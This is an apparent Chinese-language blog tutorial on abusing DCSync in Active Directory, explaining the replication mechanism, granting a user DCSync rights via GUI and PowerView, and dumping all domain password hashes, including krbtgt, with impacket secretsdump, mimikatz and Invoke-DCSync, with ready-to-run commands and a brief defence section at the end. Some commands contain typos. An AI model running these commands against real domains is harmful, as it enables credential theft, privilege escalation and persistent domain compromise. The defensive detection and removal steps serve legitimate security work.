滥用dcsync

在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用这个原理,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。

在DCSync功能出现以前,要想获得域用户的哈希数据等,需要登陆域控并在其上执行操作才能获得域用户数据。2015年8月,新版的mimikatz增加了DCSync功能,他有效的''模拟“了一个域控,并向目标域控请求账户哈希值等数据。该功能的最大特点是可以实现不登陆域控而获取目标域控上的数据。

注意:默认情况下,不允许从只读域控上获取数据,因为只读域控是不能复制同步数据给其他域控的。

dcsync的工作原理

1)在网络中发现域控

2)利用目录复制服务的GetNCChanges接口向域控发起数据同步的请求

下面来看看详细的工作过程:

当一个域控(我们称之为客户端)希望从另一个域控(我们称之为服务端)获得活动目录对象更新时,客户端域控会向服务端域控发起DRSGetNCChanes请求。该请求的响应包含一组客户端必须应用于其复制副本的更新。如果更新集太大,可能只有一条响应消息。在这种情况下,将完成多个DRSGetNCChanes请求和响应。这个过程被称为复制周期或简单的循环。

当服务端域控收到复制同步请求时,然后对执行复制的每个客户端域控来说,他会执行一个复制周期。这类似于客户端中使用的DRSGetNCChanes请求。

修改 DCSync ACL

到底是什么用户才具有运行DCSync 的权限呢?能不能通过修改普通用户的ACL使其获得DCSync的权限呢?带着这个疑问,我们往下看。

1、具有DCSync权限的用户

运行DCSync需要具有特殊的权限,默认情况下,只有以下组中的用户具有运行DCSync的权限

  • Administrator 组内的用户
  • Domain Admins 组内的用户
  • Enterprise Admins 组内的用户
  • 域控计算机账户

我们可以使用Adfind执行如下的命令查询域内具备具备DCSync权限的用户:

https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml 下载地址

0x02 常用命令

AdFind.exe -s subtree -b "DC=hack,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

(1) 图形化赋予指定用户的DCSync权限

打开“Active Directory 用户和计算机”——>"查看“——>"高级功能”,找到域  ,右击,选择“属性"选项,然后在弹出的对话框中单击"安全"选项卡的”高级“按钮,可以看到Domain Controlles具备"复制目录更改所有项的权限",这也就是为什么Domain Controlles具备 DCSync权限了。然后单击”添加" 按钮,"主体”选项选择需要赋予权限的用户,这里的选择用户 hack\jack,"应用于"选择“只是这个对象",如图所示

 在”权限“下勾选”复制目录更改“和"复制目录更改所有项"复选框,如图所示,单机”确定“按钮就可以看到用户hack具有的权限了,如图所示:用户jack具有DCSync权限。

 

(2)Powershell脚本赋予指定用户DSCync权限

可以使用Empire下的PowerView.ps1脚本执行命令如下,赋予用户test DCSync权限。

Import-Module .\pwerview.ps1;
Add-DomainObjectAcl -TargetIdentity 'DC=hack,DC=com' -PrincipalIde test -Rights DCSync -Verbose

 DCSync攻击

如果拿到了具有DCSync权限的用户,就能利用DCSync功能从指定域控获得域内所有用户的凭据信息了。

用户jack当前以被赋予了DCSync权限,下面介绍利用不同工具进行DCSync攻击。

1.impacket

Impacket下的secretsdump.exe可以通过DCSync功能导出域用户的Hash,使用方法如下:

secretsdump.exe 域名/用户名:密码@ip -outputfile output_ntds

#获取用户krbtgt的hash

python3 secretsdump.py xie/hack:passwrod@#10.211.55.4 -just-dc-user krbtgt

#获取所有用户的hash
python3 secretsdump.py xie/hack:passwrod@10.211.55.4 -just-dc

2.imikatz

通过dcsync功能导出域用户hash

lsadump::dcsync /domain:xie.com /user:krbtgt

导出所有用户的hash

lsadump::dcsync /domain:xie.com /all /csv

3.powershell脚本

invoke-dcsync.ps1脚本可以通过该权限导出hash

import-module .\Invoke-DCSync.ps1

#导出所有用户的hash

Invoke-DCSync -DumpForest | ft -wrap -autosize

导出krbtgt的hash

Invoke-DCSync -DumpForest -User @("krbtgt") | ft -wrap -autosize

tip:有时候可以获得铭文的凭据,是因为账户勾选了“使用可逆加密存储密码” 再次更改密码会显示其明文密码

DCSync的防御

DCSync的原理在于模拟域控给其他域控发起同步数据请求,可以配置网络安全设备过滤流量并设置白名单,只允许制定白名单内的域控IP请求数据同步。

滥用监测,使用工具检测具有DCSync的用户有哪几个Execute-ACLight2.bat脚本进行检测,当前目录的results文件生成3个文件,其中Privileged Accounts LAYERS aNALYSIS.TXT 是我们主要看的结果文件。

利用powerView移除DCSync权限 

Import-Module .\powerView.ps1

Remove-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSyn

 

 

posted @   lisenMiller  阅读(67)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示